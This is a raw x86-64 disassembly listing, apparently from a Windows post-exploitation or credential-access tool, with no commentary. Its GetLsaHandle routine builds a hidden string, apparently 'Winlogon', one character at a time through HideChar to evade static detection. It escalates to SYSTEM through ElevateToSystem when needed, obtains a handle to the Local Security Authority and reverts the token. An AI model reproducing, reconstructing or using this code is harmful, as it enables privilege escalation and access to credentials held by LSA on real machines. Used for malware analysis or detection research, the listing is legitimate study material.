140014136call [rdi+932]
14001413ctest rax, rax
14001413fje 0x140014233
140014145cmp [rsp+128], 0
14001414dmov rsi, rax
140014150je 0x14001419f
140014152lea rdx, [rsp+40]
140014157lea rcx, [rsp+128]
14001415fcall [rdi+1964]
140014165mov ebx, eax
140014167test eax, eax
140014169js 0x140014233
14001416fmov edx, 8
140014174mov ecx, 64
140014179call [rdi+932]
14001417fmov [rsi], rax
140014182test rax, rax
140014185je 0x14001422e
14001418bmov rdx, [rsp+40]
140014190mov [rsi+8], 1
140014197mov [rax], rdx
14001419ajmp 0x140014228
14001419f
14001419floc_14001419f:
14001419flea rdx, [rsp+48]
1400141a4lea rcx, [rsp+36]
1400141a9call [rdi+1972]
1400141afmov ebx, eax
1400141b1test eax, eax
1400141b3js 0x140014233
1400141b5mov edx, [rsp+36]
1400141b9mov ecx, 64
1400141beshl rdx, 3
1400141c2call [rdi+932]
1400141c8mov [rsi], rax
1400141cbtest rax, rax
1400141ceje 0x14001422e
1400141d0mov eax, [rsp+36]
1400141d4xor ebp, ebp
1400141d6lea r13, [rsp+40]
1400141dblea r14, [rsp+56]
1400141e0mov [rsi+8], eax
1400141e3
1400141e3loc_1400141e3:
1400141e3mov rcx, [rsp+48]
1400141e8cmp ebp, [rsp+36]
1400141ecjae 0x140014222
1400141eemov rax, [rcx+8*rbp]
1400141f2mov rdx, r13
1400141f5mov rcx, r14
1400141f8mov [rsp+56], rax
1400141fdcall [rdi+1964]
140014203test eax, eax
140014205mov ebx, eax
140014207mov rax, [rsi]
14001420ajs 0x140014217
14001420cmov rdx, [rsp+40]
140014211mov [rax+8*rbp], rdx
140014215jmp 0x14001421d
140014217
140014217loc_140014217:
140014217xor edx, edx
140014219mov [rax+8*rbp], rdx
14001421d
14001421dloc_14001421d:
14001421dinc rbp
140014220jmp 0x1400141e3
140014222
140014222loc_140014222:
140014222call [rdi+2012]
140014228
140014228loc_140014228:
140014228mov [r12], rsi
14001422cjmp 0x140014233
14001422e
14001422eloc_14001422e:
14001422emov ebx, 0xffffffffc00000a0
140014233
140014233loc_140014233:
140014233add rsp, 64
140014237mov eax, ebx
140014239pop rbx
14001423apop rsi
14001423bpop rdi
14001423cpop rbp
14001423dpop r12
14001423fpop r13
140014241pop r14
140014243ret
140014100

140014244
140014244 // align 0x10

140014250
140014250GetLsaHandle:
140014250push r15
140014252xor r9l, r9l
140014255push r14
140014257push r13
140014259push r12
14001425bpush rbp
14001425cpush rdi
14001425dpush rsi
14001425emov rsi, r8
140014261xor r8l, r8l
140014264push rbx
140014265sub rsp, 88
140014269test edx, edx
14001426bmov rbp, [rip+0x180fe]
140014272mov [rsp+40], r8
140014277lea r12, [rsp+40]
14001427cmov [rsp+36], r9l
140014281jne 0x1400142a5
140014283mov rcx, r12
140014286call [rbp+2004]
14001428cmov ebx, eax
14001428etest eax, eax
140014290jns 0x1400143e7
140014296mov ecx, eax
140014298call [rbp+1452]
14001429emov ebx, eax
1400142a0jmp 0x1400143e7
1400142a5
1400142a5loc_1400142a5:
1400142a5xor eax, eax
1400142a7lea rdi, [rsp+54]
1400142aclea r15, [rsp+36]
1400142b1mov r14, rcx
1400142b4mov ecx, 110
1400142b9mov [rsp+54], rax
1400142belea r13, [rsp+64]
1400142c3mov [rsp+62], 0
1400142cacall HideChar
1400142cfmov ecx, 110
1400142d4mov [rsp+56], al
1400142d8call HideChar
1400142ddmov ecx, 111
1400142e2mov [rsp+62], al
1400142e6call HideChar
1400142ebmov ecx, 87
1400142f0mov [rsp+58], al
1400142f4call HideChar
1400142f9mov ecx, 105
1400142femov [rsp+54], al
140014302call HideChar
140014307mov ecx, 111
14001430cmov [rsp+55], al
140014310call HideChar
140014315mov ecx, 103
14001431amov [rsp+61], al
14001431ecall HideChar
140014323mov ecx, 108
140014328mov [rsp+60], al
14001432ccall HideChar
140014331xor ecx, ecx
140014333mov [rsp+57], al
140014337call HideChar
14001433cmov ecx, 111
140014341mov [rsp+63], al
140014345call HideChar
14001434amov [rsp+72], rdi
14001434fmov r8, r15
140014352mov rdx, r12
140014355mov [rsp+59], al
140014359mov rcx, r13
14001435cmov [rsp+64], 0x90008
140014364call [rbp+1980]
14001436amov ebx, eax
14001436ctest eax, eax
14001436ejs 0x140014378
140014370cmp [rsp+40], 0
140014376jne 0x1400143de
140014378
140014378loc_140014378:
140014378mov rcx, r14
14001437bcall IsSystem
140014380test eax, eax
140014382je 0x1400143a5
140014384mov r8, r15
140014387mov rdx, r12
14001438amov rcx, r13
14001438dcall [rbp+1980]
140014393mov ebx, eax
140014395test eax, eax
140014397jns 0x1400143de
140014399mov ecx, eax
14001439bcall [rbp+1452]
1400143a1mov ebx, eax
1400143a3jmp 0x1400143de
1400143a5
1400143a5loc_1400143a5:
1400143a5call ElevateToSystem
1400143aatest eax, eax
1400143acje 0x1400143d4
1400143aemov r8, r15
1400143b1mov rdx, r12
1400143b4mov rcx, r13
1400143b7call [rbp+1980]
1400143bdmov ebx, eax
1400143bftest eax, eax
1400143c1jns 0x1400143cd
1400143c3mov ecx, eax
1400143c5call [rbp+1452]
1400143cbmov ebx, eax
1400143cd
1400143cdloc_1400143cd:
1400143cdcall TokenRevSelf
1400143d2jmp 0x1400143de
1400143d4
1400143d4loc_1400143d4:
1400143d4mov rax, [rbp+2230]
1400143dbmov ebx, [rax+104]
1400143de
1400143deloc_1400143de:
1400143demov ecx, 10
1400143e3xor eax, eax
1400143e5rep stosb [rdi], al
1400143e7
1400143e7loc_1400143e7:
1400143e7mov rax, [rsp+40]
1400143ecmov [rsi], rax
1400143efadd rsp, 88
1400143f3mov eax, ebx
1400143f5pop rbx
1400143f6pop rsi
1400143f7pop rdi
1400143f8pop rbp
1400143f9pop r12
1400143fbpop r13
1400143fdpop r14
1400143ffpop r15
140014401ret
140014250